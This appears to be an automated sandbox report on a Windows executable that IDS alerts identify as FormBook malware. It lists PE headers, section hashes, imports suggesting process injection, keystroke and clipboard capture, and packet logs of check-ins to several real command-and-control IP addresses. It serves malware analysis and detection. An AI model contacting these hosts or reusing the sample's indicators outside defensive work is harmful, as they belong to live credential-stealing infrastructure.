Time Stamp:	0x4F25BAEC [Sun Jan 29 21:32:28 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	d3bf8a7746a8d1ee8f6e5960c3f69378

Entrypoint Preview

Instruction
call 00007F0D7084BD6Bh
jmp 00007F0D70842BDEh
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F0D70842D5Ah
cmp edi, eax
jc 00007F0D70842EF6h
cmp ecx, 00000080h
jc 00007F0D70842D6Eh
cmp dword ptr [004A9724h], 00000000h
je 00007F0D70842D65h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007F0D70842D57h
jmp 00007F0D70843132h
test edi, 00000003h
jne 00007F0D70842D66h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007F0D70842D7Bh
rep movsd
jmp dword ptr [00416740h+edx*4]
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007F0D70842D5Eh
and eax, 03h
add ecx, eax
jmp dword ptr [00416654h+eax*4]
jmp dword ptr [00416750h+ecx*4]
nop
jmp dword ptr [004166D4h+ecx*4]
nop
inc cx
add byte ptr [eax-4BFFBE9Ah], dl
inc cx
add byte ptr [ebx], ah
ror dword ptr [edx-75F877FAh], 1
inc esi
add dword ptr [eax+468A0147h], ecx
add al, cl
jmp 00007F0D72CBB557h
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007F0D70842D1Eh
rep movsd
jmp dword ptr [00000000h+edx*4]

Rich Headers

Programming Language:

[ C ] VS2010 SP1 build 40219
[C++] VS2010 SP1 build 40219
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8d41c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9328	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x844	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8061c	0x80800	61ffce4768976fa0dd2a8f6a97b1417a	False	0.5583182605787937	data	6.684690148171278	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xdfc0	0xe000	0354bc5f2376b5e9a4a3ba38b682dff1	False	0.36085728236607145	data	4.799741132252136	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a758	0x6800	8033f5a38941b4685bc2299e78f31221	False	0.15324519230769232	data	2.1500715391677487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9328	0x9400	495451d7eb8326bd9fa2714869ea6de8	False	0.49002322635135137	data	5.541804843154628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x4d0	data	English	Great Britain	0.36363636363636365
RT_STRING	0xb2d08	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3308	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb3968	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3cf0	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3e48	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3ed0	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3ee8	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3f00	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3f18	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb40b8	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, InterlockedIncrement, InterlockedDecrement, WideCharToMultiByte, lstrcpyW, MultiByteToWideChar, lstrlenW, lstrcmpiW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, GetProcessHeap, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetLocalTime, CompareStringW, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetTimeFormatW, GetDateFormatW, GetCommandLineW, GetStartupInfoW, IsProcessorFeaturePresent, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStringTypeW, HeapCreate, SetHandleCount, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, RtlUnwind, SetFilePointer, GetTimeZoneInformation, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetTickCount, HeapReAlloc, WriteConsoleW, SetEndOfFile, SetSystemPowerState, SetEnvironmentVariableA
USER32.dll	GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, SetWindowPos, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, TranslateMessage, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, GetMenuItemID, DispatchMessageW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, PeekMessageW, UnregisterHotKey, CharLowerBuffW, keybd_event, MonitorFromRect, GetWindowThreadProcessId
GDI32.dll	DeleteObject, AngleArc, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, GetDeviceCaps, MoveToEx, DeleteDC, GetPixel, CreateDCW, Ellipse, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, LineTo
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, CloseServiceHandle, UnlockServiceDatabase, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, CopySid, LogonUserW, LockServiceDatabase, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, GetAce, AddAce, SetSecurityDescriptorDacl, RegOpenKeyExW, RegQueryValueExW, AdjustTokenPrivileges, InitiateSystemShutdownExW, OpenSCManagerW, RegCloseKey
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CLSIDFromString, StringFromGUID2, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, ProgIDFromCLSID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize, IIDFromString
OLEAUT32.dll	VariantChangeType, VariantCopyInd, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SysStringLen, SafeArrayAllocData, GetActiveObject, QueryPathOfRegTypeLib, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysAllocString, VariantCopy, VariantClear, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, SafeArrayAccessData, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T14:18:23.711338+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49752	156.226.22.233	80	TCP
2024-10-08T14:19:07.778511+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49883	176.32.38.141	80	TCP
2024-10-08T14:19:21.281956+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50011	199.192.21.169	80	TCP
2024-10-08T14:19:43.467409+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50015	3.33.130.190	80	TCP
2024-10-08T14:19:56.641348+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50019	84.32.84.32	80	TCP
2024-10-08T14:20:26.593067+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50023	3.33.130.190	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 14:18:22.784291983 CEST	49752	80	192.168.2.4	156.226.22.233
Oct 8, 2024 14:18:22.790307045 CEST	80	49752	156.226.22.233	192.168.2.4
Oct 8, 2024 14:18:22.790380955 CEST	49752	80	192.168.2.4	156.226.22.233
Oct 8, 2024 14:18:22.795846939 CEST	49752	80	192.168.2.4	156.226.22.233
Oct 8, 2024 14:18:22.801677942 CEST	80	49752	156.226.22.233	192.168.2.4
Oct 8, 2024 14:18:23.711133003 CEST	80	49752	156.226.22.233	192.168.2.4
Oct 8, 2024 14:18:23.711251974 CEST	80	49752	156.226.22.233	192.168.2.4
Oct 8, 2024 14:18:23.711338043 CEST	49752	80	192.168.2.4	156.226.22.233
Oct 8, 2024 14:18:23.714071035 CEST	49752	80	192.168.2.4	156.226.22.233
Oct 8, 2024 14:18:23.719486952 CEST	80	49752	156.226.22.233	192.168.2.4
Oct 8, 2024 14:18:38.780239105 CEST	49835	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:18:38.785202026 CEST	80	49835	176.32.38.141	192.168.2.4
Oct 8, 2024 14:18:38.785279036 CEST	49835	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:18:38.799689054 CEST	49835	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:18:38.804788113 CEST	80	49835	176.32.38.141	192.168.2.4
Oct 8, 2024 14:18:40.301646948 CEST	49835	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:18:40.350461006 CEST	80	49835	176.32.38.141	192.168.2.4
Oct 8, 2024 14:18:41.319967031 CEST	49855	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:18:41.325597048 CEST	80	49855	176.32.38.141	192.168.2.4
Oct 8, 2024 14:18:41.325663090 CEST	49855	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:18:41.334286928 CEST	49855	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:18:41.339081049 CEST	80	49855	176.32.38.141	192.168.2.4
Oct 8, 2024 14:18:42.848463058 CEST	49855	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:18:42.894622087 CEST	80	49855	176.32.38.141	192.168.2.4
Oct 8, 2024 14:18:43.868683100 CEST	49868	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:18:43.874206066 CEST	80	49868	176.32.38.141	192.168.2.4
Oct 8, 2024 14:18:43.874280930 CEST	49868	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:18:43.886420012 CEST	49868	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:18:43.891412020 CEST	80	49868	176.32.38.141	192.168.2.4
Oct 8, 2024 14:18:43.891510963 CEST	80	49868	176.32.38.141	192.168.2.4
Oct 8, 2024 14:18:43.891551971 CEST	80	49868	176.32.38.141	192.168.2.4
Oct 8, 2024 14:18:43.891644955 CEST	80	49868	176.32.38.141	192.168.2.4
Oct 8, 2024 14:18:43.891658068 CEST	80	49868	176.32.38.141	192.168.2.4
Oct 8, 2024 14:18:43.891669989 CEST	80	49868	176.32.38.141	192.168.2.4
Oct 8, 2024 14:18:43.891683102 CEST	80	49868	176.32.38.141	192.168.2.4
Oct 8, 2024 14:18:43.891695023 CEST	80	49868	176.32.38.141	192.168.2.4
Oct 8, 2024 14:18:43.891727924 CEST	80	49868	176.32.38.141	192.168.2.4
Oct 8, 2024 14:18:45.395361900 CEST	49868	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:18:45.442595005 CEST	80	49868	176.32.38.141	192.168.2.4
Oct 8, 2024 14:18:46.415446043 CEST	49883	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:18:46.420562983 CEST	80	49883	176.32.38.141	192.168.2.4
Oct 8, 2024 14:18:46.420712948 CEST	49883	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:18:46.428065062 CEST	49883	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:18:46.432996035 CEST	80	49883	176.32.38.141	192.168.2.4
Oct 8, 2024 14:19:00.160063028 CEST	80	49835	176.32.38.141	192.168.2.4
Oct 8, 2024 14:19:00.160307884 CEST	49835	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:19:02.685916901 CEST	80	49855	176.32.38.141	192.168.2.4
Oct 8, 2024 14:19:02.685997963 CEST	49855	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:19:05.249144077 CEST	80	49868	176.32.38.141	192.168.2.4
Oct 8, 2024 14:19:05.249238014 CEST	49868	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:19:07.778364897 CEST	80	49883	176.32.38.141	192.168.2.4
Oct 8, 2024 14:19:07.778511047 CEST	49883	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:19:07.779436111 CEST	49883	80	192.168.2.4	176.32.38.141
Oct 8, 2024 14:19:07.785010099 CEST	80	49883	176.32.38.141	192.168.2.4
Oct 8, 2024 14:19:13.007934093 CEST	50008	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:13.013506889 CEST	80	50008	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:13.013602972 CEST	50008	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:13.027817011 CEST	50008	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:13.032823086 CEST	80	50008	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:13.616738081 CEST	80	50008	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:13.616782904 CEST	80	50008	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:13.616863012 CEST	50008	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:14.536144972 CEST	50008	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:15.557195902 CEST	50009	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:15.562267065 CEST	80	50009	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:15.562350988 CEST	50009	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:15.572783947 CEST	50009	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:15.578805923 CEST	80	50009	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:16.182003021 CEST	80	50009	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:16.182907104 CEST	80	50009	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:16.182956934 CEST	50009	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:17.082894087 CEST	50009	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:18.101880074 CEST	50010	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:18.107125044 CEST	80	50010	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:18.107208014 CEST	50010	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:18.120992899 CEST	50010	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:18.125906944 CEST	80	50010	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:18.125940084 CEST	80	50010	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:18.125953913 CEST	80	50010	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:18.125967026 CEST	80	50010	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:18.126152039 CEST	80	50010	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:18.126166105 CEST	80	50010	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:18.126178980 CEST	80	50010	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:18.126337051 CEST	80	50010	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:18.126494884 CEST	80	50010	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:18.706728935 CEST	80	50010	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:18.706918955 CEST	80	50010	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:18.707005978 CEST	50010	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:19.629714012 CEST	50010	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:20.647825956 CEST	50011	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:20.653778076 CEST	80	50011	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:20.653865099 CEST	50011	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:20.659512997 CEST	50011	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:20.664557934 CEST	80	50011	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:21.278870106 CEST	80	50011	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:21.279442072 CEST	80	50011	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:21.281955957 CEST	50011	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:21.281956911 CEST	50011	80	192.168.2.4	199.192.21.169
Oct 8, 2024 14:19:21.291090965 CEST	80	50011	199.192.21.169	192.168.2.4
Oct 8, 2024 14:19:34.384512901 CEST	50012	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:19:34.390933037 CEST	80	50012	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:34.391005039 CEST	50012	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:19:34.403327942 CEST	50012	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:19:34.408489943 CEST	80	50012	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:34.855583906 CEST	80	50012	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:34.855640888 CEST	50012	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:19:35.911531925 CEST	50012	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:19:35.917527914 CEST	80	50012	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:36.930773973 CEST	50013	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:19:36.936045885 CEST	80	50013	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:36.936121941 CEST	50013	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:19:36.946455002 CEST	50013	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:19:36.951440096 CEST	80	50013	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:38.458194971 CEST	50013	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:19:38.463773012 CEST	80	50013	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:38.463823080 CEST	50013	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:19:39.476738930 CEST	50014	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:19:39.483072996 CEST	80	50014	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:39.483247995 CEST	50014	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:19:39.495529890 CEST	50014	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:19:39.500416040 CEST	80	50014	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:39.500473976 CEST	80	50014	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:39.500525951 CEST	80	50014	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:39.500555038 CEST	80	50014	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:39.500587940 CEST	80	50014	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:39.500636101 CEST	80	50014	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:39.500663996 CEST	80	50014	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:39.500690937 CEST	80	50014	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:39.500719070 CEST	80	50014	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:39.940665960 CEST	80	50014	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:39.945913076 CEST	50014	80	192.168.2.4	3.33.130.190
